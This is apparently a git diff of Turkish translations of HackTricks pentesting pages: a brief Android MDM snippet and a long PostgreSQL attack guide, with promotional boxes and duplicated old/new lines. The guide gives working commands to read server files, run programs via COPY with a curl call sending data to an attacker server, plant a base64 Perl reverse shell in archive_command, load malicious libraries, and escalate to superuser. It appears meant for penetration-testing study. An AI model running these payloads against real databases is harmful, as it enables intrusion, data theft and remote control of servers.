### **Mobil Cihaz Yönetimi (MDM)**
- **MDM çözümleri**, mobil cihazlar için **denetim ve güvenlik** sağlar ve **Cihaz Yönetimi API'si** aracılığıyla gerektirir. Mobil cihazların etkili bir şekilde yönetilmesi ve güvenliğinin sağlanması için bir Android uygulamasının kurulmasını gerektirir. Temel fonksiyonlar arasında **şifre politikalarının zorunlu kılınması**, **depolama şifrelemesinin zorunlu kılınması** ve **uzaktan veri silmeye izin verilmesi** bulunur, mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar.
- **MDM çözümleri**, mobil cihazlar için **denetim ve güvenlik** sağlar ve **Cihaz Yönetimi API'si** aracılığıyla gerektirir. Mobil cihazların etkili bir şekilde yönetilmesi ve güvenliğinin sağlanması için bir Android uygulamasının kurulmasını zorunlu kılar. Temel fonksiyonlar arasında **şifre politikalarının zorunlu kılınması**, **depolama şifrelemesinin zorunlu kılınması** ve **uzaktan veri silmeye izin verilmesi** bulunur, mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar.
```java
// Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -383,7 +383,7 @@ if (dpm.isAdminActive(adminComponent)) {
dpm.setPasswordMinimumLength(adminComponent, 8);
}
```
**Try Hard Security Group**
**Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -391,14 +391,14 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
<details>
<summary><strong>Sıfırdan Kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -14,11 +14,11 @@ Bugün Erişim Alın:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -72,10 +72,10 @@ SELECT * FROM pg_extension;
\s
```
{% hint style="warning" %}
Eğer **`\list`** komutunu çalıştırırken **`rdsadmin`** adında bir veritabanı bulursanız, içinde bir **AWS postgresql veritabanı** olduğunu bilirsiniz.
Eğer **`\list`** komutunu çalıştırırken **`rdsadmin`** adında bir veritabanı bulursanız, içinde bulunduğunuzun bir **AWS postgresql veritabanı** olduğunu bilirsiniz.
{% endhint %}
Daha fazla bilgi için **PostgreSQL veritabanını kötüye kullanma** hakkında kontrol edin:
**Bir PostgreSQL veritabanını kötüye kullanmanın nasıl olduğu** hakkında daha fazla bilgi için şu adrese bakın:
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
@ -99,9 +99,9 @@ password=secret
dbname=abc
connect_timeout=10');
```
* Sunucu kapalı
* Ana bilgisayar kapalı
```DETAIL: sunucuya bağlanılamadı: Ana bilgisayara yönlendirme yok Sunucu, "1.2.3.4" ana bilgisayarında çalışıyor mu ve 5678 numaralı bağlantıları kabul ediyor mu?```
`DETAY: sunucuya bağlanılamadı: Ana bilgisayara yönlendirme yok. Sunucu, "1.2.3.4" ana bilgisayarında çalışıyor mu ve 5678 numaralı bağlantıları kabul ediyor mu?`
* Port kapalı
```
@ -113,16 +113,7 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
```markdown
### PostgreSQL Pentesting
#### PostgreSQL Pentesting Tools
PostgreSQL pentesting can be done using various tools such as:
- **Metasploit Framework**: Contains PostgreSQL modules for pentesting.
- **pgcli**: A command-line interface for PostgreSQL that can be used for testing.
- **sqlmap**: A popular tool for SQL injection testing that can be used against PostgreSQL databases.
- **Nmap**: Can be used to discover PostgreSQL services running on a network.
- **PostgreSQL Auditing Tools**: Tools like pgAudit can be used for auditing PostgreSQL databases for security vulnerabilities.
```
veya
```
DETAIL: FATAL: password authentication failed for user "name"
```
@ -131,6 +122,8 @@ DETAIL: FATAL: password authentication failed for user "name"
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
PL/pgSQL fonksiyonlarında, şu anda istisna ayrıntılarını almak mümkün değil. Ancak, PostgreSQL sunucusuna doğrudan erişiminiz varsa, gerekli bilgileri alabilirsiniz. Kullanıcı adlarını ve şifrelerini sistem tablolarından çıkarmak uygun değilse, önceki bölümde tartışılan kelime listesi saldırı yöntemini kullanmayı düşünebilirsiniz, çünkü olumlu sonuçlar verebilir.
## Yetkilerin Sıralanması
### Roller
@ -138,23 +131,23 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
| Rol Türleri | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | Rol süper kullanıcı ayrıcalıklarına sahiptir |
| rolinherit | Rol, üyesi olduğu rollerin ayrıcalıklarını otomatik olarak devralır |
| rolcreaterole | Rol daha fazla rol oluşturabilir |
| rolcreatedb | Rol veritabanları oluşturabilir |
| rolinherit | Rol, üyesi olduğu rollerin ayrıcalıklarını otomatik olarak devralır |
| rolcreaterole | Rol daha fazla rol oluşturabilir |
| rolcreatedb | Rol veritabanları oluşturabilir |
| rolcanlogin | Rol oturum açabilir. Yani, bu rol başlangıç oturum yetkilendirme kimliği olarak verilebilir |
| rolreplication | Rol bir replikasyon rolüdür. Bir replikasyon rolü replikasyon bağlantılarını başlatabilir ve replikasyon yuvaları oluşturabilir ve silebilir. |
| rolconnlimit | Oturum açabilen roller için, bu rolün yapabileceği eşzamanlı bağlantıların maksimum sayısını belirler. -1 sınırsız anlamına gelir. |
| rolpassword | Parola değil (`********` olarak her zaman okunur) |
| rolvaliduntil | Parola son kullanma zamanı (yalnızca parola kimlik doğrulaması için kullanılır); süresizse null |
| rolreplication | Rol bir replikasyon rolüdür. Bir replikasyon rolü replikasyon bağlantıları başlatabilir ve replikasyon yuvaları oluşturabilir ve silebilir. |
| rolconnlimit | Oturum açabilen roller için, bu rolün yapabileceği eşzamanlı bağlantıların maksimum sayısını belirler. -1 sınırsız anlamına gelir. |
| rolpassword | Şifre değil (`********` olarak her zaman okunur) |
| rolvaliduntil | Şifre son kullanma zamanı (yalnızca şifre kimlik doğrulaması için kullanılır); süresizse null |
| rolbypassrls | Rol her satır düzeyinde güvenlik politikasını atlar, daha fazla bilgi için [Bölüm 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)'e bakın. |
| rolconfig | Çalışma zamanı yapılandırma değişkenleri için rol özgü varsayılanlar |
| rolconfig | Çalışma zamanı yapılandırma değişkenleri için rol özgü varsayılanlar |
| oid | Rol kimliği |
#### İlginç Gruplar
* Eğer **`pg_execute_server_program`** üyesiyseniz **programları çalıştırabilirsiniz**
* Eğer **`pg_read_server_files`** üyesiyseniz **dosyaları okuyabilirsiniz**
* Eğer **`pg_write_server_files`** üyesiyseniz **dosyaları yazabilirsiniz**
* Eğer **`pg_execute_server_program`** üyesiyseniz, programları **çalıştırabilirsiniz**
* Eğer **`pg_read_server_files`** üyesiyseniz, dosyaları **okuyabilirsiniz**
* Eğer **`pg_write_server_files`** üyesiyseniz, dosyalara **yazabilirsiniz**
{% hint style="info" %}
Postgres'te bir **kullanıcı**, bir **grup** ve bir **rol** aynıdır. Sadece **nasıl kullandığınıza** ve **oturum açmasına izin verip vermediğinize** bağlıdır.
@ -240,7 +233,7 @@ SELECT * FROM pg_proc;
### Dizinler ve dosyaları okuma
Bu [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) ile tanımlanan **`DEFAULT_ROLE_READ_SERVER_FILES`** grubunun üyeleri (yani **`pg_read_server_files`** olarak adlandırılan) ve **süper kullanıcılar**, herhangi bir yol üzerinde **`COPY`** yöntemini kullanabilir (bkz. `genfile.c` içindeki `convert_and_check_filename`).
Bu [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) ile tanımlanan **`DEFAULT_ROLE_READ_SERVER_FILES`** grubunun üyeleri (adı **`pg_read_server_files`** olan) ve **süper kullanıcılar**, herhangi bir yol üzerinde **`COPY`** yöntemini kullanabilir (bkz. `genfile.c` içindeki `convert_and_check_filename`).
```sql
# Read file
CREATE TABLE demo(t text);
@ -248,7 +241,7 @@ COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
Unutmayın ki süper kullanıcı değilseniz ancak **CREATEROLE** izinlerine sahipseniz **kendinizi o gruba üye yapabilirsiniz:**
Unutmayın ki süper kullanıcı değilseniz ancak **CREATEROLE** izinlerine sahipseniz, **kendinizi o gruba üye yapabilirsiniz:**
```sql
GRANT pg_read_server_files TO username;
```
@ -281,9 +274,7 @@ GRANT pg_read_server_files TO username;
```
### Basit Dosya Yazma
Yalnızca **süper kullanıcılar** ve **`pg_write_server_files`** üyeleri kopyalama işlemini kullanarak dosya yazabilirler.
{% code overflow="wrap" %}
Yalnızca **süper kullanıcılar** ve **`pg_write_server_files`** üyeleri, dosya yazmak için kopyalamayı kullanabilir.
```sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
@ -297,12 +288,12 @@ GRANT pg_write_server_files TO username;
[**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
COPY'ın yeni satır karakterlerini işleyemediğini unutmayın, bu nedenle bir base64 yükü gönderiyor olsanız bile **bir satırlık bir komut göndermeniz gerekecektir**.\
COPY'ın yeni satır karakterlerini işleyemediğini unutmayın, bu nedenle bir base64 yükü göndermek için bile **tek satırlık bir komut göndermeniz gerekebilir**.\
Bu tekniğin çok önemli bir kısıtlaması şudur ki **`copy`, bazı ikili değerleri değiştirdiği için ikili dosyalar yazmak için kullanılamaz.**
### **İkili dosyaların yüklenmesi**
Ancak, **büyük ikili dosyaları yüklemek için başka teknikler bulunmaktadır:**
Ancak, **büyük ikili dosyaları yüklemek için başka teknikler de vardır:**
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
@ -310,13 +301,13 @@ Ancak, **büyük ikili dosyaları yüklemek için başka teknikler bulunmaktadı
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformuna**! Bugün bize [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinden katılın ve **100.000 $'a kadar ödüller kazanmaya** başlayın!
**Hata ödülü ipucu**: **Intigriti'ye kaydolun**, hackerlar tarafından oluşturulan bir premium **hata ödülü platformu**! Bugün bize [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) adresinden katılın ve **100.000 $'a kadar ödüller kazanmaya başlayın**!
{% embed url="https://go.intigriti.com/hacktricks" %}
### PostgreSQL tablo verilerinin yerel dosya yazma yoluyla güncellenmesi
PostgreSQL sunucusu dosyalarını okuma ve yazma izinlerine sahipseniz, [PostgreSQL veri dizinindeki](https://www.postgresql.org/docs/8.1/storage.html) herhangi bir tabloyu **ilişkili dosya düğümünü üzerine yazarak** sunucuda güncelleyebilirsiniz. Bu tekniğe ilişkin **daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
PostgreSQL sunucu dosyalarını okuma ve yazma izinlerine sahipseniz, [PostgreSQL veri dizinindeki](https://www.postgresql.org/docs/8.1/storage.html) herhangi bir tabloyu **ilişkili dosya düğümünü üzerine yazarak** sunucuda güncelleyebilirsiniz. Bu tekniğe ilişkin **daha fazla bilgi** [**burada**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
Gerekli adımlar:
@ -326,7 +317,7 @@ Gerekli adımlar:
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**Not:** Ayarlar üzerinden mevcut veri dizini yolunu alamıyorsanız, `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü sorgulayabilir ve yolun brute-force yöntemiyle deneyebilirsiniz. PostgreSQL'un Unix kurulumlarında yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir.
**Not:** Ayarlar aracılığıyla mevcut veri dizini yolunu alamıyorsanız, `SELECT version()` sorgusu aracılığıyla ana PostgreSQL sürümünü sorgulayabilir ve yolun brute-force yöntemiyle deneyebilirsiniz. PostgreSQL'un Unix kurulumlarında yaygın veri dizini yolları `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/` şeklindedir. Yaygın bir küme adı `main`dir.
2. Hedef tabloyla ilişkili dosya düğümüne göre göreceli bir yol alın
```sql
@ -382,15 +373,15 @@ SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
`pg_authid` tablosunu düzenleyerek süper yönetici de olabilirsiniz. **Aşağıdaki bölüme** [**bakın**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
## RCE
## Uzaktan Kod Çalıştırma (RCE)
### **Programa RCE**
[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubu üyeleri, RCE için kopyalamayı kullanabilir (veri sızdırma örneğiyle birlikte:
[9.3 sürümünden](https://www.postgresql.org/docs/9.3/release-9-3.html) itibaren yalnızca **süper kullanıcılar** ve **`pg_execute_server_program`** grubunun üyeleri RCE için kopyayı kullanabilir (veri sızdırma örneğiyle:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
Örnek yürütmek için:
Örnek çalıştırmak için:
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
@ -411,8 +402,7 @@ GRANT pg_execute_server_program TO username;
[**Daha fazla bilgi.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
Veya **metasploit**'ten `multi/postgres/postgres_copy_from_program_cmd_exec` modülünü kullanın.\
Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) ulaşabilirsiniz. CVE-2019-9193 olarak bildirilse de, Postges bunun bir [özellik olduğunu ve düzeltilmeyeceğini](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/) açıkladı.
Veya **metasploit**'ten `multi/postgres/postgres_copy_from_program_cmd_exec` modülünü kullanın. Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5) ulaşabilirsiniz. CVE-2019-9193 olarak bildirilse de, Postges bunun bir [özellik olduğunu ve düzeltilmeyeceğini](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/) açıkladı.
### PostgreSQL Dilleri ile RCE
@ -422,7 +412,7 @@ Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwo
### PostgreSQL uzantıları ile RCE
Önceki yazıdan **nasıl ikili dosyalar yükleneceğini** öğrendikten sonra **PostgreSQL uzantısı yükleyerek RCE elde etmeyi** deneyebilirsiniz.
Önceki yazıdan **nasıl ikili dosyalar yükleneceğini öğrendikten sonra**, **PostgreSQL uzantısı yükleyerek RCE elde etmeyi** deneyebilirsiniz.
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
@ -431,26 +421,26 @@ Bu zafiyet hakkında daha fazla bilgiye [**buradan**](https://medium.com/greenwo
### PostgreSQL yapılandırma dosyası RCE
{% hint style="info" %}
Aşağıdaki RCE vektörleri özellikle kısıtlanmış SQLi bağlamlarında kullanışlıdır, çünkü tüm adımlar iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebilir.
Aşağıdaki RCE vektörleri özellikle kısıtlı SQLi bağlamlarında kullanışlıdır, çünkü tüm adımlar iç içe geçmiş SELECT ifadeleri aracılığıyla gerçekleştirilebilir.
{% endhint %}
PostgreSQL'in **yapılandırma dosyası**, veritabanını çalıştıran **postgres kullanıcısı** tarafından **yazılabilir**, bu nedenle **süper kullanıcı** olarak dosyaları dosya sisteminde yazabilir ve dolayısıyla bu dosyayı **üzerine yazabilirsiniz.**
![](<../.gitbook/assets/image (322).png>)
#### **ssl\_passphrase\_command** ile RCE
#### **ssl\_passphrase\_command ile RCE**
Bu tekniğe ilişkin daha fazla bilgiye [buradan](https://pulsesecurity.co.nz/articles/postgres-sqli) ulaşabilirsiniz.
Bu tekniğe ilişkin daha fazla bilgi [burada bulunabilir](https://pulsesecurity.co.nz/articles/postgres-sqli).
Yapılandırma dosyasında RCE'ye yol açabilecek bazı ilginç özellikler bulunmaktadır:
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Veritabanının özel anahtarının yolunu belirtir
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Veritabanının özel anahtarının yolu
* `ssl_passphrase_command = ''` Özel dosya şifre ile korunuyorsa, postgresql bu özelliğe belirtilen komutu **çalıştıracaktır**.
* `ssl_passphrase_command_supports_reload = off` Bu özellik **açıksa**, anahtar şifre ile korunuyorsa **komut** `pg_reload_conf()` **çalıştırıldığında** **çalıştırılacaktır**.
Bu nedenle, bir saldırganın yapması gerekenler:
Bu durumda, bir saldırganın yapması gerekenler:
1. Sunucudan **özel anahtarı** dökün
1. Sunucudan **özel anahtarı** çıkartın
2. İndirilen özel anahtarı **şifreleyin**:
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **Üzerine yazın**
@ -460,33 +450,33 @@ Bu nedenle, bir saldırganın yapması gerekenler:
2. `ssl_passphrase_command_supports_reload = on`
6. `pg_reload_conf()`'yi çalıştırın
Bu testi yaparken fark ettiğim bir şey, bu işlemin yalnızca **özel anahtar dosyasının 640 ayrıcalığına** sahip olması durumunda çalışacağıdır, **root tarafından sahiplenilmiş** ve **ssl-cert veya postgres** grubuna ait olduğu (bu nedenle postgres kullanıcısının okuyabileceği) ve _/var/lib/postgresql/12/main_ dizininde bulunduğudur.
Bu testi yaparken fark ettiğim bir şey, bu işlemin yalnızca **özel anahtar dosyasının 640 ayrıcalığına** sahip olması durumunda çalışacağıdır, **root tarafından sahiplenilmiş** ve **ssl-cert veya postgres grubuna ait** olması gerekmektedir (bu nedenle postgres kullanıcısı okuyabilir) ve _/var/lib/postgresql/12/main_ dizininde bulunmalıdır.
#### **archive\_command** ile RCE
#### **archive\_command ile RCE**
Bu yapılandırmaya ve WAL hakkında daha fazla [bilgiye buradan](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3) ulaşabilirsiniz.
Bu yapılandırmaya ve WAL hakkında daha fazla [bilgiye buradan](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)** ulaşabilirsiniz**.
Saldırıya açık başka bir özellik, `archive_command` olarak adlandırılan yapılandırma dosyasındadır.
Saldırıya açık olan başka bir özellik, `archive_command` adlı yapılandırma dosyasındadır.
Bu işlem çalışması için `archive_mode` ayarının `'on'` veya `'always'` olması gerekir. Bu doğruysa, `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalışmasını zorlayabiliriz.
Bu işlem çalışması için `archive_mode` ayarının `'on'` veya `'always'` olması gerekmektedir. Bu doğruysa, `archive_command` içindeki komutu üzerine yazabilir ve WAL (write-ahead logging) işlemleri aracılığıyla çalışmasını zorlayabiliriz.
Genel adımlar şunlardır:
1. Arşiv modunun etkin olup olmadığını kontrol edin: `SELECT current_setting('archive_mode')`
2. `archive_command`'ı payload ile üzerine yazın. Örneğin, ters kabuk için: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
2. `archive_command`'ı payload ile üzerine yazın. Örneğin, ters shell için: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Yapılandırmayı yeniden yükleyin: `SELECT pg_reload_conf()`
4. Arşiv işleminin çalışmasını zorlayın, bu da arşiv komutunu çağıracaktır: Bazı Postgres sürümleri için `SELECT pg_switch_xlog()` için `SELECT pg_switch_wal()` veya
4. Arşiv işleminin çalışmasını zorlayın, bu da arşiv komutunu çağıracaktır: `SELECT pg_switch_wal()` veya bazı Postgres sürümleri için `SELECT pg_switch_xlog()`
#### **preload kütüphaneleri ile RCE**
Bu tekniğe ilişkin daha fazla bilgiye [buradan](https://adeadfed.com/posts/postgresql-select-only-rce/) ulaşabilirsiniz.
Bu tekniğe ilişkin daha fazla bilgi [buradan](https://adeadfed.com/posts/postgresql-select-only-rce/) bulunabilir.
Bu saldırı vektörü, aşağıdaki yapılandırma değişkenlerinden faydalanır:
* `session_preload_libraries` -- PostgreSQL sunucusunun istemci bağlantısında yüklenecek kütüphaneler.
* `dynamic_library_path` -- PostgreSQL sunucusunun kütüphaneleri arayacağı dizinlerin listesi.
`dynamic_library_path` değerini, veritabanını çalıştıran `postgres` kullanıcısının yazma iznine sahip olduğu bir dizine, örneğin `/tmp/` dizinine ayarlayabilir ve oraya zararlı bir `.so` nesnesi yükleyebiliriz. Daha sonra, PostgreSQL sunucusunu, yeni yüklenen kütüphaneyi `session_preload_libraries` değişkenine dahil ederek yüklemeye zorlayacağız.
`dynamic_library_path` değerini, veritabanını çalıştıran `postgres` kullanıcısı tarafından yazılabilir bir dizine, örneğin `/tmp/` dizinine ayarlayabilir ve oraya zararlı bir `.so` nesnesi yükleyebiliriz. Daha sonra, PostgreSQL sunucusunu yeni yüklenen kütüphanemizi `session_preload_libraries` değişkenine dahil ederek yüklemeye zorlayacağız.
Saldırı adımları şunlardır:
@ -542,17 +532,17 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
```
6. Adımlar 2-3'te oluşturulan zararlı `postgresql.conf` dosyasını indirin ve orijinalini üzerine yazın
7. Adımda 5'te oluşturulan `payload.so`'yu `/tmp` dizinine yükleyin
8. Sunucu yapılandırmasını yeniden yükleyerek sunucuyu yeniden başlatın veya `SELECT pg_reload_conf()` sorgusunu çağırarak
9. Bir sonraki DB bağlantısında ters kabuk bağlantısını alacaksınız.
8. Sunucu yapılandırmasını yeniden yükleyerek sunucuyu yeniden başlatın veya `SELECT pg_reload_conf()` sorgusunu çağırarak yapılandırmayı yeniden yükleyin
9. Bir sonraki DB bağlantısında ters shell bağlantısını alacaksınız.
## **Postgres Yetki Yükseltme**
### CREATEROLE Yetki Yükseltme
#### **Grant**
[**Belgelere**](https://www.postgresql.org/docs/13/sql-grant.html) göre: _**`CREATEROLE`** yetkisine sahip roller, **süper kullanıcı** olmayan herhangi bir **role**'e **üyelik verip geri alabilir**._
[**Belgelere**](https://www.postgresql.org/docs/13/sql-grant.html) göre: _**CREATEROLE** yetkisine sahip roller, **süper kullanıcı olmayan** herhangi bir role **üyelik verme veya geri alma** yetkisine sahiptir._
Yani, eğer **`CREATEROLE`** izniniz varsa, kendinize diğer **roller**'e (süper kullanıcı olmayan) erişim izni verebilir ve bu da size dosya okuma & yazma ve komut yürütme seçeneği sunabilir:
Dolayısıyla, **`CREATEROLE`** izniniz varsa, kendinize diğer **roller** (süper kullanıcı olmayanlar) erişim izni verebilir ve bu da size dosyaları okuma & yazma ve komutları çalıştırma seçeneği sunabilir:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
@ -563,14 +553,14 @@ GRANT pg_write_server_files TO username;
```
#### Parolayı Değiştir
Bu role sahip kullanıcılar ayrıca diğer **süper olmayan kullanıcıların parolalarını da değiştirebilirler**:
Bu role sahip kullanıcılar ayrıca diğer **süper olmayan kullanıcıların parolalarını değiştirebilirler**:
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### SUPERUSER'a Yükseltme
**Yerel kullanıcıların herhangi bir şifre sağlamadan PostgreSQL'e giriş yapabildiğini sıkça görmek oldukça yaygındır**. Dolayısıyla, **kod yürütme izinlerini topladığınızda** bu izinleri kötüye kullanarak **`SUPERUSER`** rolünü elde edebilirsiniz:
**Yerel kullanıcıların PostgreSQL'e herhangi bir şifre sağlamadan giriş yapabildiğini sıkça görmek oldukça yaygındır**. Dolayısıyla, **kod yürütme izinlerini topladığınızda** bu izinleri kötüye kullanarak **`SUPERUSER`** rolünü elde edebilirsiniz:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
@ -590,11 +580,11 @@ host all all ::1/128 trust
[**Bu yazıda**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities) Postgres GCP'de **privesc** yapmanın mümkün olduğu, kullanıcıya verilen ALTER TABLE ayrıcalığını kötüye kullanarak nasıl yapılabileceği açıklanmaktadır.
**Başka bir kullanıcıyı bir tablonun sahibi yapmaya çalıştığınızda** buna engel olan bir **hata** almanız gerektiği, ancak GCP'nin bu **seçeneği GCP'deki süper kullanıcı postgres kullanıcısına** verdiği anlaşılmaktadır:
